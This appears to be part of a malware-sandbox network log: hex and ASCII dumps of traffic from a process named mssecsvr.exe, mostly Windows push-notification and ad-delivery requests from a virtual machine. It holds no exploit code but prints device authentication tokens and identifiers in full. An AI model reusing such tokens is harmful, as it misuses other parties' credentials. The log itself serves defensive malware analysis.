6c 8e f2 12 ca a8 80 37 27 e6 39 07 8e 73 59 2f e2 dd 55 ad d6 e3 55 b9 fe c5 66 89 d9 7e cc c6 e5 e1 72 76 fc f1 26 Data Ascii: GvU8+>!sc&4Ea^z\1Moq0GgcG/or[#h\$2GGQuK1IY<t8fd3\]^{VMkke.<<a=TdwV;6k6+"Q4f%{V\|kmn[j:ubZl7'9sY/UUf~rv&
2022-07-20 07:08:31 UTC	8163	IN	Data Raw: 9b 27 93 ce e6 f5 c0 e7 64 d5 2c f4 dd 5a 2b 84 58 e5 b0 93 12 2a f2 aa d9 18 27 6a 91 fc 5e b5 43 d0 f4 0d 9a 62 6a 93 eb f6 cd e5 59 ca ae ca ab 9d 8c 8c 08 55 65 18 c6 41 db e8 05 52 f0 ef 87 75 0b 1d 61 6e 7f e1 23 b1 8b cf de f1 c9 76 b2 32 2a 1e 39 23 0c 4e df d6 b3 bc 1f 79 64 9a a2 dc 5b 79 f3 cb 14 05 67 b4 9d 43 44 d1 9e 14 ae 38 c0 ee 0e 0d 5a b9 b6 8f 4f d3 6e 67 1a 84 73 dc 6e 13 ad b3 46 36 c8 83 e6 38 cf 2a df 5a 9d 11 46 fe 8f e2 dd 4e c7 43 61 03 34 b1 49 18 78 fe d3 18 58 be 63 d4 77 27 f0 c8 ac ad 2b c6 4d a7 ea 1a ad f4 9a 66 9b 7d aa 5e 4f 0f f6 97 f6 b5 b1 9d 2e 94 48 24 da 59 be 65 dc c8 a1 98 75 52 c3 23 35 8f 61 e2 73 ac 69 30 69 da 84 56 92 d9 34 92 49 14 f2 37 cf 32 8c f4 51 c8 6f a8 c7 4a d0 b6 b8 bb 5b 5f 35 2d ae ec 67 68 0a Data Ascii: 'd,Z+X'j^CbjYUeARuan#v29#Nyd[ygCD8ZOngsnF68*ZFNCa4IxXcw'+Mf}^O.H$YeuR#5asi0iV4I72QoJ[_5-gh
2022-07-20 07:08:31 UTC	8179	IN	Data Raw: 3c 77 96 b1 79 72 2b 2b 6d 8b 6b 72 7e 6c 73 8f 6e 7a 71 5c 05 8e ad a7 f8 4f c2 ed ad eb ba 85 8c b7 b7 d7 37 5f 62 b6 91 9f cd b7 c4 98 58 17 af ca 18 70 70 38 3f 89 d7 f8 77 fb 55 d8 5b f8 55 5e f3 4f 83 4c f2 d8 b3 36 d3 2b b3 07 c1 08 d1 9d ac 76 95 c3 90 01 1e e1 ab 3c 1d 77 29 38 32 b1 98 78 d3 8c 66 99 dc 7c 50 f8 9f e1 0f 82 de 09 b1 d6 f5 38 23 d4 f5 18 e4 dd 6c b6 d0 3c bf 6c b8 60 4f 97 b9 b1 f2 ae 3e f1 e8 17 a7 4c fc 41 e2 7f 16 f8 93 5e d5 af 3c 4b e2 bd 42 7f b4 4b 1f 99 e5 c8 c3 cd 93 8c f9 60 1c 88 90 76 50 30 2b d3 7e 2e f8 d2 2f 8e 9a f5 b3 e9 da 7b 69 90 5b 4d 70 b6 d2 33 04 69 3c cd 9b a4 60 7e 4d ff 00 27 51 ce 49 e6 bc 9f c7 de 0c 36 f6 ba 9d a2 4b 24 bf 66 6d b2 b3 7c bb b0 31 c9 3e 95 dc de a7 9d 12 2f 0f 7c 70 f0 e6 9b 71 2d c6 Data Ascii: <wyr++mkr~lsnzq\O7_bXpp8?wU[U^OL6+v<w)82xf\|P8#l<l`O>LA^<KBK`vP0+~./{i[Mp3i<`~M'QI6K$fm\|1>/\|pq-
2022-07-20 07:08:31 UTC	8195	IN	Data Raw: 66 24 fb 1a b0 cc ff 00 68 58 ae 2d 9b cd db e5 49 23 7c df 30 ef 50 c7 6d 15 bd c7 3f 32 b3 6d 92 35 f9 7e 5f 6a bd e1 bb 98 ef b4 ff 00 36 46 59 dd 98 ac 8d fe d0 fa d5 8b db 64 ba 87 cc 8e 2f de c7 fc 2d f7 9b dc 1a 68 19 57 54 b8 7d 11 72 f2 f9 b0 36 c8 f7 7f b4 dc 6e fa f3 f8 57 6b e0 0f ec b7 b5 b9 b7 91 56 0b ad bb a4 91 94 6f 64 ed b7 d4 8f 97 3d cf 6a f3 ff 00 12 5b 0b 8d 06 5b 4b 8f dd 45 e4 19 15 97 0c ca dd 57 a7 4c e7 9e f5 cf 68 7e 2e b9 b6 9a 07 97 74 4a ac 9e 66 d6 da ac bd 3e 95 44 79 b3 da 9f 44 b7 d0 ec ed a0 d6 2f 37 5b dc b7 98 b7 d6 cd fc 20 ee 8b 24 ff 00 09 ef 8e 47 a5 7a 46 8f a4 f8 4b 50 b8 b9 d5 6d ee 6e d6 e9 ad 0c b1 41 ab 2e c6 bc 91 fe 76 95 46 76 fc c1 46 17 a9 0b ea 71 5e 66 ba 95 dd cd 8e 8b fe 87 fd af 65 04 a6 ee e5 56 Data Ascii: f$hX-I#\|0Pm?2m5~_j6FYd/-hWT}r6nWkVod=j[[KEWLh~.tJf>DyD/7[ $GzFKPmnA.vFvFq^feV
2022-07-20 07:08:31 UTC	8202	IN	Data Raw: 7e 87 73 a7 bc 51 b7 9f e4 ff 00 a4 b6 77 c6 c8 4f 23 ea 38 34 9d 8b 8e 9a 14 34 5b 65 bf d4 a0 82 59 56 28 a4 6d bb a4 cf f4 e4 9f 6a f4 cd 2b c2 7a 75 ca dc dc c7 04 fe 53 5b 37 d9 2f 97 7a 6d 90 63 6e 48 c2 86 c6 78 35 c8 ba 45 e1 3b cb 69 ed 25 8e f1 fc b1 27 da 76 9d bb cf 55 1e a0 71 f3 75 cd 7a 32 ea 76 1e 34 fb 0a 5b ea 77 70 24 99 59 e3 82 34 4b 65 93 8f e2 24 0e 17 93 c7 f7 47 bd 21 c9 ea 73 b6 fe 30 bc 86 c6 e7 40 8e 06 b6 49 65 12 6e b6 6d aa cc 07 5d a3 df e6 e2 ae e9 a9 2d d5 bc b1 19 64 8a 05 b9 58 e4 68 d9 97 73 01 f7 49 fb d8 03 ae 2b de e1 f8 17 a1 e9 fa 7c 17 17 ed 1d f4 be 54 31 cb 24 f3 ba ca d3 34 9e 51 89 4a 0f 90 97 28 a0 b1 03 af 23 ad 72 bf 14 ae bc 19 e1 39 ad b4 3f 0d d9 e9 7a bf 97 72 2e 6e f5 08 1a 75 75 55 40 12 21 27 9a 55 Data Ascii: ~sQwO#844[eYV(mj+zuS[7/zmcnHx5E;i%'vUquz2v4[wp$Y4Ke$G!s0@Ienm]-dXhsI+\|T1$4QJ(#r9?zr.nuuU@!'U
2022-07-20 07:08:31 UTC	8203	IN	Data Raw: ef 73 47 1e b5 03 5d 7d d8 e0 68 1d 7c c6 fa 8c 8a f5 b9 ae 64 5d 7a f2 f0 f9 9a 8d e5 cc 62 29 27 66 2d e6 2e 06 77 77 5c 70 a3 3d ab 46 c2 c2 4f ec 79 ef 53 4f 69 ef 2d a3 3e 5f 9e ae de 5a f1 8f 94 7d e5 18 ed 9c d4 73 58 d1 46 fb 9e 17 a7 fc 1d f1 2e 9b 34 f1 8b 1b 4d 5e 06 c2 c9 1a cf e5 36 7b 7d ec 62 b1 3f e1 1d d7 fc 19 6e b7 b7 3a 47 91 67 2c e2 38 b5 4d df 22 c9 ce 23 2e a4 af 3e 9f 8d 7b 3d ce bd 75 6f b8 d8 48 d7 d7 11 e2 46 66 fd c2 ec ce ec 64 ff 00 07 af 52 2a cd c4 27 56 d0 67 b3 d7 e5 69 74 9b a6 dd 2d 95 b3 6d 58 dc a0 e5 7e 87 ee fa d6 b1 6e c6 76 47 cd 3a d4 d6 f2 34 5e 45 b2 db 79 71 08 e5 db 21 7d d2 0e 0b 67 df ad 7b 77 c2 bb fb 6d 7b 49 97 4c 5d 0e c6 2b 75 b4 3e 6b 35 b2 6f 91 b3 90 ac 48 1b b3 d4 37 50 2b cc ad 97 59 f0 34 7a ad Data Ascii: sG]}h\|d]zb)'f-.ww\p=FOySOi->_Z}sXF.4M^6{}b?n:Gg,8M"#.>{=uoHFfdR*'Vgit-mX~nvG:4^Eyq!}g{wm{IL]+u>k5oH7P+Y4z
2022-07-20 07:08:31 UTC	8219	IN	Data Raw: b2 7e ed 55 59 be 6e ed d3 a5 68 ae a1 a8 eb d6 2c 8f 2f fa 3e dd d1 4e bf 7a 37 14 9b d0 65 8b fd 6a 7d 62 dd ad d2 db fd 2a 2f ba de 6f de c6 39 07 da b9 97 b9 d2 ae 6e bc ad 46 29 22 b8 8e 41 fe b1 42 b7 d7 8e 08 f7 15 2b 7d a6 c6 e1 67 b8 fd dc ad 85 91 76 85 68 db fb cb 8e 80 fa d2 78 a3 c3 f6 1e 22 86 07 bb 81 5a e9 58 79 57 6b 8f 9b f1 5f f3 ed 59 a2 8d bf 14 6b 9a 3d 8f 87 ff 00 b3 ef 2f 96 da 79 70 b6 8b f7 d9 9b 39 1d 3a 7d 4d 15 c6 b5 bb e8 36 f3 9b b8 25 d4 34 9f 28 6e 55 90 ce d1 b7 50 70 4e e5 61 ed f4 a2 94 93 91 16 3e 60 d1 61 bb f1 05 8b 68 57 9f 76 55 ff 00 8f 99 1b e7 8d 87 dd 5e 7b 7b 0a a7 a5 f8 16 e2 d6 4b cb 8b cf b2 6d b3 97 ca f2 e4 9f 63 cd ea 57 d8 0e 6b 0b 4f d5 ae 23 8e f2 ec 5e 37 9f c7 98 bf 79 99 4f 53 e9 fd 6b d0 ee 75 6d Data Ascii: ~UYnh,/>Nz7ej}b*/o9nF)"AB+}gvhx"ZXyWk_Yk=/yp9:}M6%4(nUPpNa>`ahWvU^{{KmcWkO#^7yOSkum
2022-07-20 07:08:31 UTC	8235	IN	Data Raw: 45 69 04 0c 5a 7b 5d a3 88 94 8e af f7 59 98 77 e2 b8 5b c6 d3 bc 43 e3 0b 6b 6d 5a 5f b0 c5 2a 95 92 ef 6b ac ea f8 38 52 ad f2 8c bf 7a 7c ba 8b 43 a2 d0 7c 55 3e b7 7d 73 6d aa 45 a9 6d 59 03 5a 41 34 e1 60 b5 87 1d cb f2 a4 ed 0c 31 c7 b5 6e a7 84 b4 dd 12 46 d4 e0 b9 5b c5 92 44 bb 8d ae 54 ed 65 6e ac 18 7a 7b 53 ef ad 74 ff 00 0f f8 b2 7b 2d 1e c5 b4 fb 4b 98 a3 5b 25 69 05 cb 4d e5 c6 15 8b 33 9c 72 db 9d b0 70 0b ed 1d aa 75 f8 85 6d 6a b3 de cf 14 fb a4 88 da 35 a3 42 5f e5 6c 6d 2b c8 db 93 d2 a6 c9 97 a5 f4 32 a3 f1 16 91 a1 df 5c 8b 48 25 58 a7 ff 00 5f e4 2b b4 5c f5 38 3d 07 e5 8a bd 7f 63 3f 89 fe d5 6f 67 a8 47 04 fc 79 1f 29 58 a6 6f f7 be f6 e1 c1 15 95 a9 78 ff 00 c3 4c ad 64 fa 63 2b b3 79 72 47 24 7b 37 29 f6 ce 05 66 f8 ab c6 63 c2 Data Ascii: EiZ{]Yw[CkmZ_*k8Rz\|C\|U>}smEmYZA4`1nF[DTenz{St{-K[%iM3rpumj5B_lm+2\H%X_+\8=c?ogGy)XoxLdc+yrG${7)fc
2022-07-20 07:08:31 UTC	8242	IN	Data Raw: ae ca 48 ef 1d 63 dd 24 11 ae d6 67 5e c3 e8 2b 3e 5e a2 7d 0e 07 c6 1f 0b 6c bc 49 aa 5c de 05 8e 55 b9 bb 32 c9 77 a7 db 04 45 8d 86 79 58 f8 0c 1f 8d b8 f7 ae 2b 52 fd 9f c2 da c4 62 be 92 db 51 64 32 7d 86 e6 3d cd b7 38 ca b2 9f 98 1a f7 5b 0f 0e dc e9 31 fd a6 4b 96 82 29 23 da b1 c7 f2 b7 5e 87 f3 eb d6 ab eb 7e 3a d1 3c 1f 7d fd a1 ac 5c db 5b 5c 5a c6 eb 12 c6 a5 ee 6e 37 9d c5 50 7a 6e f9 b2 70 3d e8 49 db 40 e7 3e 43 f1 26 8d 75 e1 fd 4a e6 c2 ef 6a 4f 03 05 6d bf dd 3c 83 cf a8 ac 5f e2 c8 af 41 f8 c9 f1 2b fe 16 97 89 22 d5 7f b3 2d b4 c5 8a 26 81 7c 8f bf 22 6f 25 7c c3 d0 b0 07 03 1d ab 80 5f e2 c5 68 52 1d b8 6d ff 00 6a 9a d8 5e 94 8c df ed 7c d4 9b b6 d3 2c 72 36 6b 63 c3 7e 28 bd f0 cd d7 9b 69 3b 2a 33 0f 32 06 fb b2 2f bd 62 c8 db 7f Data Ascii: Hc$g^+>^}lI\U2wEyX+RbQd2}=8[1K)#^~:<}\[\Zn7Pznp=I@>C&uJjOm<_A+"-&\|"o%\|_hRmj^\|,r6kc~(i;*32/b
2022-07-20 07:08:31 UTC	8258	IN	Data Raw: 78 a7 87 7c 17 ab de 7c 44 d4 2c c6 8b 76 da 44 7a 7c 0d a7 eb 1a 6c 01 fe c2 c9 96 db 96 21 4b 17 46 cf a1 0a 4f 02 bd 93 c4 fa 54 49 6f 73 67 ae 6a 7a ce a1 71 67 69 3b 5b 5a 5c af fa 65 d6 7e 59 0c ae 80 03 11 db f2 e0 7f 16 d0 71 f3 57 34 ac dd cd a1 7b 6c 73 76 3a 1f 86 fe 20 78 92 0d 2a df 4c b6 bc b6 8e 53 1d a6 a5 1b 18 2c d6 46 3f 34 92 47 2e 4c 9b 92 3e 17 23 9e 83 e6 6a ee 7c 17 ae 78 7e c2 18 b4 7d 22 fa fa 7f 1a dc af 98 ad 03 22 cf 63 6c d2 04 30 db bb 9d 89 39 57 1e 61 3d 06 ef a1 f9 eb c2 ba 95 b5 bf 8f b4 f9 75 1b e6 d2 ac 96 e4 ce b2 34 1b d2 df 19 29 13 06 21 70 7f 3f 98 8e 6b dc 21 f0 5f 85 34 af 87 fe 23 bd ba d3 2e f4 ab 35 81 35 0b 1b eb eb d9 ef 95 9f 82 b1 36 ef 98 2c a6 34 dd 8d bf c2 29 59 25 73 4b bd 8a 9f 12 bc 24 9f 0f 7c 4d Data Ascii: x\|\|D,vDz\|l!KFOTIosgjzqgi;[Z\e~YqW4{lsv: x*LS,F?4G.L>#j\|x~}""cl09Wa=u4)!p?k!_4#.556,4)Y%sK$\|M
2022-07-20 07:08:31 UTC	8274	IN	Data Raw: eb 14 e3 69 ff 00 11 59 7a 4f c4 ad 02 6d 35 6c 35 c9 f5 06 b5 59 b6 c7 a9 58 ef dd 23 02 0f ef 13 76 ee 7e 46 27 af ca 05 76 56 3e 2e 11 b4 4f 6d 78 da 9d 86 ab 13 c0 d1 fd d7 8d 89 05 36 8e 77 9f a8 ea bc d4 72 ca 2f 41 a6 9a 3c a3 47 b6 8e e1 6e 75 01 e7 c5 61 2c bb 5b 4d f3 cb c7 b4 73 e5 f9 64 e5 80 dd b8 7d 2b b0 d6 2c 07 88 a4 b3 b4 f0 e6 af 1e a1 61 7c d1 da 4a da a2 8d f0 b4 4e 70 5b ae 00 f3 3a 8e 3b 1a de b3 f8 4b 07 8e 75 09 0f 87 da 4b 6d 22 05 b7 92 56 69 0b 6d 70 30 73 b4 03 1b 96 dd 91 9e 76 f4 ed 5d 07 8f 34 ab 0f 00 69 3a 84 b1 5b 69 fa 2e ae ca 91 af d9 16 36 8b 52 b8 57 dc db 55 c1 c6 f8 d8 e5 40 f9 8a 56 ad 26 c2 fc a7 89 fc 28 f1 86 94 df 14 3f b3 13 c7 0d a3 78 6b 4a 88 4b a6 f9 f6 9e 6a 46 c0 ef 65 46 e7 e5 0e cf b7 1c fe 95 d9 58 Data Ascii: iYzOm5l5YX#v~F'vV>.Omx6wr/A<Gnua,[Msd}+,a\|JNp[:;KuKm"Vimp0sv]4i:[i.6RWU@V&(?xkJKjFeFX
2022-07-20 07:08:31 UTC	8282	IN	Data Raw: 0d 92 ee 8c 6d dd ce 64 8d f2 17 7b 09 59 4b 74 6d 98 ae 7b c5 be 3f f1 5f 89 2f 20 d0 3c 35 f6 1b 34 bc d2 5e e5 af b5 08 b7 3c 90 ab c9 31 36 ef 82 de 48 64 75 45 eb b5 76 b0 f9 78 a7 e3 af 1f 78 53 c1 fa c5 88 d5 bc fd 57 c4 16 da 37 97 3d 8f 98 16 d6 46 62 00 2b d7 38 db b8 1f f6 9a b9 6a 47 99 a4 95 ce 88 4b 95 36 cf 08 f8 9d e1 7d 4f c3 7a 6d e1 b7 82 4b ed 1a da 51 63 1e a9 ce c6 6e 76 f3 eb b4 72 3b 1a c4 f1 27 c4 ad 63 5c b3 b1 0d 79 1f 9f 63 1a 45 6c ac bf 22 ec f9 41 f4 66 03 f4 ae 9f e3 c7 8c f5 05 b5 bc d1 34 f9 56 c7 48 8e 44 9d 6c 67 ce f8 f7 a0 04 29 e4 36 d2 0f 23 a8 6c e6 bc a3 43 f0 fd ed b6 93 05 dd e5 b6 eb 2b cc ad a4 8c c1 95 a4 e7 03 fd 9c ed ad a9 fc 0a e6 32 d5 e8 75 fe 19 f1 e6 b9 a3 cd a6 26 9d 3d a7 da ae 60 78 56 e6 48 c3 36 Data Ascii: md{YKtm{?_/ <54^<16HduEvxxSW7=Fb+8jGK6}OzmKQcnvr;'c\ycEl"Af4VHDlg)6#lC+2u&=`xVH6

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	51173	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:35 UTC	8294	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 65 34 63 34 61 65 31 37 37 34 37 63 38 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 75e4c4ae17747c86
2022-07-20 07:08:35 UTC	8294	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:08:35 UTC	8294	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 65 34 63 34 61 65 31 37 37 34 37 63 38 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 75e4c4ae17747c86<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:08:35 UTC	8295	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 65 34 63 34 61 65 31 37 37 34 37 63 38 36 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 75e4c4ae17747c86
2022-07-20 07:08:35 UTC	8295	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:08:35 UTC	8295	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 6b 42 71 2b 68 7a 74 4c 45 65 4f 73 39 4c 54 36 5a 37 4a 4b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ZkBq+hztLEeOs9LT6Z7JKw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	51321	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:40 UTC	8295	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 37 64 32 32 39 66 35 35 61 39 39 32 39 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: dd7d229f55a99290
2022-07-20 07:08:40 UTC	8295	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:08:40 UTC	8295	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 37 64 32 32 39 66 35 35 61 39 39 32 39 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: dd7d229f55a99290<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:08:40 UTC	8296	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 37 64 32 32 39 66 35 35 61 39 39 32 39 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: dd7d229f55a99290<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:08:40 UTC	8297	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:08:40 UTC	8297	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 61 6c 65 48 55 33 44 48 45 65 78 6f 71 49 6b 71 30 69 53 65 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: taleHU3DHEexoqIkq0iSeg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	51705	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:52 UTC	8297	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160847Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=fe00f78d818c4aa98b473a3c7317a31e&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611136&metered=false&nettype=ethernet&npid=sc-310091&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=rijlag7%2C1&tl=2&tsu=1611136&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0z